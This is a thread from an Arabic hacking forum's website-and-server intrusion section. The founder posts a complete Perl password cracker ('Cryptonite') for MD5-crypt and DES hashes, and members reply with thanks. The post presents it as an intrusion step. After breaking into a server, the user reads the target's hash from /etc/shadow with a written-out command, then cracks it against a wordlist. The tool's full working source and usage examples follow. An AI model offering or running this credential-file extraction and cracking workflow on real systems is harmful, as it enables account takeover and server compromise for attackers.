شبكة الصاعقة العربية الهكرز | تعليم الهكرز | برامج هكرز
   مضى على الشبكة .. 7 سنوات و 170 يوم من العطاء.

ماشاء الله تبارك الله ماشاء الله لاقوة الا بالله اللهم انا نسالك الهدى والتقى والعفاف والغنى
العودة   شبكة الصاعقة العربية الهكرز | تعليم الهكرز | برامج هكرز > ::الأقسام الخاصة بالاختراق:: > ركـــن اختراق المواقع والسيرفرات > Tools - الأدوات
تسجيل الدخول عبر


نسخ الرابط
الرابط المختصر
في حال وجود أي مواضيع او ردود مُخالفة من قبل الأعضاء ، يرجى الإبلاغ عنها فورا باستخدام أيقونة تقرير عن مشاركة ، و الموجودة أسفل كل مشاركة .

مواضيع ننصحك بزيارتها ( مشابهه )
الموضوع مشاركات آخر مشاركة
شرح برنامج جون لفك الباسوردات المشفره John 3 2012-07-15 02:43 AM
حصرياً برنامج فك الباسوردات المشفره قوي جداً Md5 Cracker FasteSt 13 2011-02-16 12:03 AM
برنامج بلغة البيرل لعمل هجوم دوس على المواقع DoS Perl Tool 5 2010-08-31 05:28 PM
برنامج بلغة البيرل لايجاد الشيلات Shell Finder (PERL) 3 2009-06-13 10:28 AM

 
أدوات الموضوع
قديم 2008-12-26   #1 (permalink)
مـؤسـس الـشـبـكـة
مسـؤول السيرفرات
:: مجلس الإدارة ::
 
الصورة الرمزية القنبلة المؤقتة

عضويتي : 116
تسجيلي : 15 - 5 - 2007
الإقامة : صنعاء
الهواية : مشاهدة المسلسلات
المواضيع : 2007
مشاركاتي : 4,799
نقاطي : 3331
المتصفح : Firefox
المشغل : Windows 7
جنسي : male
دولتي : Yemen
مزاجي
المزاج rayg
القنبلة المؤقتة غير متواجد حالياً
Default برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des



طبعا اليوم اقدم لكم برنامج رائع جدا يقوم بفك الباسوردات المشفره MD5 وايضا DES



عندما تريد تخترق موقعك وتستخرج باسورد الموقع

ونفرض ان اسمه TARAB

لما تسوي الامر في السيرفر :


cat /etc/shadow |grep ^tarab

راح يظهر معاك الباسورد المشفر :
كود:
tarab:$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1:12992:0:99999:7:::
هذا الباسورد المشفر :
كود:
$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1
هذا كتوضيح وعندما تريد فك الباسورد استخدم الامر التالي :
كود:
./cryptonite.pl -decrypMD5 '$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1' wordlist

البرنامج بلغة البيرل :
كود:
#!/usr/bin/perl
# 
# Cryptonite written by nuTshell
#  http://nutshell.gotfault.net
#
# Description: Cryptonite is  [encrypter/decrypter<->password generator]
# Supported Algoriths are  MD5 and DES.
#
# Criptonite can do things like:
# -Encrypt single  password from command line;
# -Encrypt cleartext passwords from  textfile;
# -Decrypt encrypted password taking cleartext passwords from  textfile
# 
# eg. MD5 decryption:
# 
# # cat /etc/shadow |grep  ^test
# test:$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1:12992:0:99999:7:::
# $  ./cryptonite.pl -decrypMD5 '$1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1' wordlist
#  [*] Testing: testing
# [*] Testing: areyouok
# [*] Testing:  aracnophobia
# [*] Testing: kern3ltest1ng
# [*] Testing: hithere
# [*]  Testing: hackme
#
# [:)] HACK HACK HACK lalalalala
# [!]  $1$B0Z/2qHu$ukj7EmMbRC7NsT5UwlPLm1 cracked password is: hackme
# Execution  time: 0s
# $
#
# eg. DES creation of single password:
# 
# $  ./cryptonite.pl -DES hithere
# Algorithm: DES
# nb1o8FrXI7iAQ
#  $
#
# TIP: You could use gen.pl  <http://nutshell.gotfault.net/geni/gen.html>
# to create  wordlists!
#
#  *************************************************************************
#
#  IMPORTANT 1: When inserting encrypted passwords from command line ALWAYS
#  use (') single quotations marks.. ALWAYS!!!!
#
# IMPORTANT 2: When using  wordlist out there make sure to transform then
# in ASCII linux file, for  example:
#
# BAD FILE:
# $ file Unix_dict.txt
# Unix_dict.txt: ASCII  C program text, with CRLF line terminators
# GOD FILE:
# $ dos2unix  Unix_dict.txt
# $ file Unix_dict.txt
# Unix_dict.txt: ASCII C program  text
#
# dos2unix is a very handy tool :)
#
#  *************************************************************************
#
#  To do: support for more ciphers.
# 
# For usage help just type:  ./cryptonite.pl
#
# Greets to all of friends out there 
# 
use  strict;
use Term::ANSIColor;

my  ($x,$begintime,$endtime,$endtimefail,$endtimesuccess,$endtimeS,$endtimeF,$cleartext);
#  Array for random salts
my @array =  split(",","a,b,c,d,e,f,g,h,i,j,l,m,n,o,p,q,r,s,t,u,v,x,z,y,w,k,A,B,C,D,E,F,G,H,I,J,L,M,N,O,P,Q,R,S,T,U,V,X,Z,Y,W,K,,0,1,2,3,4,5,6,7,8,9");
#  MD5 8 salts, same of /etc/shadow, you can increase or decrease, but never lower  than 2
my $MD5salts = 8; 
# DES 2 salts, you can increase it but never  decrease it
my $DESsalts = 2;

if ($MD5salts < 2 || $DESsalts <  2) {
   die "Can`t use salt lower than 2. Change variable(s) and then try  again\n"
}
   
sub usage() {
die <<EOF

Cryptonite  written by nuTshell
Encrypted password[generator/cracker]

Usage: $0  [-MD5|-DES|] 
Options:
-MD5         [passfrase|-input  {input_file}{output_file}]
-DES         [passfrase|-input  {input_file}{output_file}]
-decrypMD5      ['cripted_password'  wordlist_file]
-decrypDES      ['cripted_password'  wordlist_file]
EOF
}

sub crypmeMD5 () {
my $cleartext =  $ARGV[1];
        if ($cleartext eq "-input") {
                my  $inputfile = $ARGV[2] or &usage;
                my $outputfile =  $ARGV[3] or &usage;
                open(INPUT, "<$inputfile") or die  "$!\n";
                open(ZERO,">$outputfile") or die "$!\n";
                 print(ZERO "Algorithm: MD5\n\n");
                close(ZERO);
                 open(OUTPUT,">>$outputfile");
      print("Algorithm:  MD5\n");
        foreach my $outline (<INPUT>) {
                 for(1..$MD5salts) {
                        my $array = $array[rand(@array)]  ;
                        $x .= $array;
                }
       chomp($outline);
      my $pass = crypt($outline,"\$1\$$x");
                 chomp($outline);chomp($pass);
                print(OUTPUT "$outline :  $pass\n");
                print("$outline : $pass\n");
                $x  = "";
        }
        }
        else {
                 for(1..$MD5salts) {
                        my $array = $array[rand(@array)]  ;
                        $x .= $array;
                }
      my  $pass = crypt($cleartext,"\$1\$$x");
      print("Algorithm: MD5\n");
                 print "$pass\n"
        }

}


sub crypmeDES ()  {
my $cleartext = $ARGV[1];
   if ($cleartext eq "-input") { 
      my  $inputfile = $ARGV[2] or &usage;
      my $outputfile = $ARGV[3] or  &usage;
      open(INPUT, "<$inputfile") or die "$!\n";
       open(ZERO,">$outputfile") or die "$!\n";
      print(ZERO "Algorithm:  DES\n\n");
      close(ZERO);
       open(OUTPUT,">>$outputfile");
      print("Algorithm: DES\n");
    foreach my $outline (<INPUT>) {
      for(1..$DESsalts) {
               my $array = $array[rand(@array)] ;
              $x .= $array;
       }
      my $pass = crypt($outline,"$x");
       chomp($outline);chomp($pass);
      print(OUTPUT "$outline : $pass\n");
       print("$outline : $pass\n");
      $x = "";
   }
   } 
   else  {
      for(1..$DESsalts) {
         my $array = $array[rand(@array)]  ;
         $x .= $array;
      }
      my $pass =  crypt($cleartext,"$x");
      print("Algorithm: DES\n");
      print  "$pass\n"
   }
      
}

sub decrypMD5() {
my $pass_to_crack =  $ARGV[1] or die &usage;
my $inputpassfile = $ARGV[2] or die  &usage;
open(INPUT, "<$inputpassfile") or die "$!\n";
$begintime =  localtime();
   foreach my $try (<INPUT>) {
      chomp($try);
       my $check = crypt($try,$pass_to_crack);
      chomp($try);
       print("[*] Testing: $try\n");
      if ($check eq $pass_to_crack) {
             print("\nStarted time: $begintime\n");
            print("[:)] HACK  HACK HACK lalalalala\n");
                                print("[!]  $pass_to_crack cracked password is: ");
            print color('bold');
             print("$try\n");
            print color('reset');
             $endtimeS = localtime();
            print("Finished time:  $endtimeS\n");
            exit(0);
         }
    }
close(INPUT);
$endtimeF = localtime();
print("\nStarted time:  $begintime\n");
print("No passwords cracked. Better luck next  time.\n");
print("Finished time: $endtimeF\n");
}


sub  decrypDES() {
my $pass_to_crack = $ARGV[1] or die &usage;
my  $inputpassfile = $ARGV[2] or die &usage;
open(INPUT,  "<$inputpassfile") or die "$!\n";
$begintime = localtime();
         foreach my $try (<INPUT>) {
                my $check =  crypt($try,$pass_to_crack);
                chomp($try);
                 print("[*] Testing: $try\n");
                if ($check eq $pass_to_crack)  {
            print("\nStarted time: $begintime\n");
                                 print("[:)] HACK HACK HACK lalalalala\n");
                                 print("[!] $pass_to_crack cracked password is: ");
                                 print color('bold');
                                 print("$try\n");
                                print color('reset');
             $endtimeS = localtime();
            print("Finished time:  $endtimeS\n");
                                exit(0);
                         }
        }
$endtimeF = localtime();
print("\nStarted time:  $begintime\n");
print("No passwords cracked. Better luck next  time.\n");
print("Finished time: $endtimeF\n");

}

my %cmd =  (
        "-MD5" => \&crypmeMD5,
   "-decrypMD5" =>  \&decrypMD5,
        "-DES" => \&crypmeDES,
   "-decrypDES"  => \&decrypDES,
        "-help" => \&usage,
);
     chomp(my $string = $ARGV[0]);
    if ($cmd{$string}) {
         $cmd{$string}->();
    } else {&usage}
#eof


القنبلة المؤقتة
 
قديم 2008-12-27   #2 (permalink)
عضو مشارك
 
الصورة الرمزية bEcArE

عضويتي : 20540
تسجيلي : 26 - 12 - 2008
العمر : 36
الإقامة : syria
الهواية : البرمجة
المواضيع : 5
مشاركاتي : 152
نقاطي : 10
المتصفح : Firefox
المشغل : Linux
جنسي : male
دولتي : Syria
مزاجي
المزاج rayg
bEcArE غير متواجد حالياً
Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des



مشكور يا اخي على البرنامج ... جاري التجربة
 
قديم 2009-02-18   #3 (permalink)
عضو فعال
 
الصورة الرمزية borjoa

عضويتي : 24196
تسجيلي : 23 - 1 - 2009
الإقامة : oujda
الهواية : haoa
المواضيع : 24
مشاركاتي : 542
نقاطي : 10
المتصفح : Avant
المشغل : Windows 7
جنسي : male
دولتي : Morocco
مزاجي
المزاج adrs
borjoa غير متواجد حالياً
Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des



goooooooooooooooooooooooooooooooood
 
قديم 2009-05-30   #4 (permalink)
عضو
 
الصورة الرمزية samo22

عضويتي : 44220
تسجيلي : 29 - 5 - 2009
العمر : 34
الإقامة : dc
الهواية : سباحة
المواضيع : 3
مشاركاتي : 34
نقاطي : 10
المتصفح : Maxthon
المشغل : Windows 7
جنسي : male
دولتي : Algeria
مزاجي
المزاج rayg
samo22 غير متواجد حالياً
Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des



شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .
 
قديم 2009-06-05   #5 (permalink)
عضو
 
الصورة الرمزية morlina

عضويتي : 46129
تسجيلي : 4 - 6 - 2009
العمر : 27
الإقامة : Nevada
الهواية : informatik
المواضيع : 0
مشاركاتي : 64
نقاطي : 10
المتصفح :
المشغل : Windows 7
جنسي : female
دولتي : Pakistan
مزاجي
المزاج rayga
morlina غير متواجد حالياً
Default رد: برنامج بلغة البيرل قوي في فك الباسوردات المشفره Md5 + Des



مشكور اخى
 

مواقع النشر (المفضلة)
أدوات الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are معطلة


الساعة الآن حسب توقيت مكة المكرمة 08:26 PM.

شبكة الصاعقة العربية

Powered by vBulletin
Copyright ©2007 - 2014 Sa3eKa.CoM . All rights reserved
|| ѕє¢υяιту By Sa3eKa TeAm ||


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85